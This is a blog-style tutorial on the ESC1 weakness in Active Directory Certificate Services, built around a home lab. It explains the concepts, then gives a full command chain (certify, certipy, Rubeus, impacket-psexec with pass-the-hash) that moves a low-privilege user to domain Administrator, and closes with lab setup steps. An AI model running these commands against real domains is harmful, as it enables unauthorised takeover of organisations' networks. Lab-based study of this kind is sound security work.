Active Directory Certificate Services Exploitation

Explanation

Credit: Will Schroeder and Lee Christensen were the ones who originally figured out a lot of the ADCS vulnerabilities. Be sure to read their research paper if you want to learn more about these vulnerabilities. This post is just me highlighting ADCS in my own words and giving you my own example. Enjoy!

Before we get into exploiting AD CS, we need to understand some key points. I’ll try to simplify it as best as I can.

PKI – Public Key Infrastructure is a system that ensures secure communication and authentication over networks. Uses cryptographic techniques and has three main components: a Certificate Authority (CA), a registration authority, and digital certificates.
Digital Certificates – Electronic document that is used to encrypt data, authentication, verify the integrity of messages, etc.
CA – Certificate Authority verifies identities and issues digital certificates by signing devices’ public keys with its private key.
RA – Intermediary between the end-users and the Certificate Authority (CA). Responsible for verifying the identity of the certificate applicants and validating their information.
Certificate Template – Pre-designed document that’s used to create certificates.
SAN – Subject Alternative Name allows a single certificate to secure multiple names. For example a certificate might be for J.Williams but the SAN might be set to Administrator. This will result in Admin privileges.
ADCS – Active Directory Certificate Service is a PKI that’s provided by Microsoft. Isn’t enabled by default in AD environments.

What are we trying to exploit?

We’re trying to exploit vulnerable Certificate Templates and use them to escalate privileges.

A certificate template can have multiple vulnerabilities. Some of them being: the permission to modify the SAN of a certificate, permission to request certificates, etc. There are multiple types of vulnerabilities but one I’ll be going over is ESC1.

ESC1 simplified: We request the certificate as a low priv user and then use it to impersonate an Administrator.

For ADCS to be vulnerable to ESC1, we need these conditions to be met:

The CA grants low-privilege users enrollment rights
Manager approval isn’t required for enrollment
Authorized signatures aren’t required for enrollment
A certificate template that’s overly permissive
The certificate template enables authentication. Could be: Client Authentication, PKINIT Client Authentication, Smart Card Logon, etc.
We’re allowed to choose a subjectAltName. If we’re allowed to do this, it means that we’re able to request the certificate as “Administrator” or any other high privileged user.
NOTE: You don’t really need to memorize this because the tools certify.exe and certipy do 99% of the work for you but its still good to know.

Demo

Enumerating with Certify

To enumerate for vulnerable certificate templates we can use a tool called certify.

certify.exe find /vulnerable

Once we find a vulnerable template, we can request it. The altname is the user that we want to impersonate.

certify.exe request /ca:DC1.WANDA.local\WANDA-DC1-CA /template:"Copy of Authenticated Session" /altname:Administrator

After we get the output, we need to copy both the private key and the certificate. Once we copy it, we need to place it in a “.pem” file back in Kali.

NOTE: You need to copy the entire thing. From —–BEGIN RSA PRIVATE KEY—– to —–END CERTIFICATE—–.

Once its in the .pem file in Kali, we use openssl to convert it to a pfx file.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

After the pfx file has been created, you can copy it over to the Windows machine using this method.

Once its copied over, we can use the certificate (pfx file) to create a ticket.

.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /outfile:ticket /ptt

If we check our current tickets, we’ll see that the ticket is in our current session

Now, we’re able to view the files in the Domain Controller from the Client machine.

This image shows how we are not part of any privileged groups but are still able to access the DC because of the ticket.

Enumerating with Certipy

If you want to do all of this remotely, we can also use a tool called certipy.

Just like before, lets try to find vulnerable certificates.

certipy find -u M.Smith@WANDA.local -p Password1 -dc-ip 192.168.5.5 -vulnerable

In the certipy.txt file, we get a list of the vulnerable certificates

Lets try to request it. As you can see from the screenshot below, we requested it as M.Smith@WANDA.local but got the certificate for the Administrator’s UPN.

certipy req -username <username> -password <user_password> -ca <certificate_authority> -target <domain_controller> -template <template_name> -upn Administrator@WANDA.local

Now we can use that certificate to authenticate to the Domain Controller as the Administrator. In the output, we get a .ccache file and the hash as well.

certipy auth -pfx 'administrator.pfx' -u 'Administrator' -dc-ip 192.168.5.5

To authenticate with the hash, we can use impacket-psexec with its pass-the-hash capability.

impacket-psexec WANDA.local/Administrator@dc1.WANDA.local -dc-ip 192.168.5.5 -hashes <hash_of_admin>

If we want to use the credential cache (.ccache file). We can export the file to our KRB5CCNAME environment variable and then specify -k and -no-pass.

export KRB5CCNAME=administrator.ccache

impacket-psexec WANDA.local/Administrator@dc1.WANDA.local -dc-ip 192.168.5.5 -k -no-pass

Replicate

If you want to replicate this lab, you’ll first need a Virtual lab environment with a Domain Controller, a Client machine and a Kali machine. If you replicate my exact lab (you don’t have to), check this post out: Home Lab

Now to create setup AD CS, open up server manager in the DC and click “Manage” > “Add Roles and Features”

Then, click next until you get to “Server Roles” and select “Active Directory Certificate Services”

Then click “Add Features”

Keep clicking “Next” until you get to “Role Services”. From there, select “Certification Authority Web Enrollment” and “Certification Authority”

When you select “Certification Authority Web Enrollment”, you’ll get a pop-up. Click “Add Features” on the pop-up.

Then keep clicking next until you can click “Install”

Once its installed, wait a couple of minutes and click the top right flag > “Configure Active Directory Certificate . . . “

Select the two boxes in “Role Services”

Keep clicking next until you can hit “Configure”

Once you have AD CS setup, you’ll need to issue certificate templates. To do this, open up the “Certification Authority” application on the DC.

From there right click “Certificate Templates” > “Certificate Template to Issue” and choose “Authenticated Session”

Once you’ve done that, right click “Certificate Templates” again and click “Manage”

In the manager, right click “Authenticated Session” and click “Properties”

Go to the “Security” tab and give “Domain Users” these permissions

Error when configuring

After you’ve configured your ADCS environment and have your template setup, you might get this error when testing it out.

To fix this, open up CMD prompt as an Administrator on the DC.

Then type the following

certutil -setreg chain\ChainCacheResyncFiletime @now

certutil -setreg ca\CRLFlags -CRLF_REVCHECK_IGNORE_OFFLINE

Source: https://learn.microsoft.com/en-us/answers/questions/1003508/new-ad-cs-2022-issuing-wont-start-because-the-revo

You may also get this error:

KDC_ERR_PADATA_TYPE_NOSUPP

To fix this:

Press “WINDOWS KEY + R” > Type “mmc” > Go to “File” > “Add/Remove snap-in” > Scroll down in the available certificates and click “Certificates” and click “Add >” > In the pop-up, select “Computer Account” > “Local Computer” > Now hit “Ok”

After that, expand these and click on “Request New Certificate”

Keep clicking next until you come up to this screen. Select “Kerberos Authentication” and hit “Enroll”.

That should do it!

Source: https://github.com/ly4k/Certipy/issues/64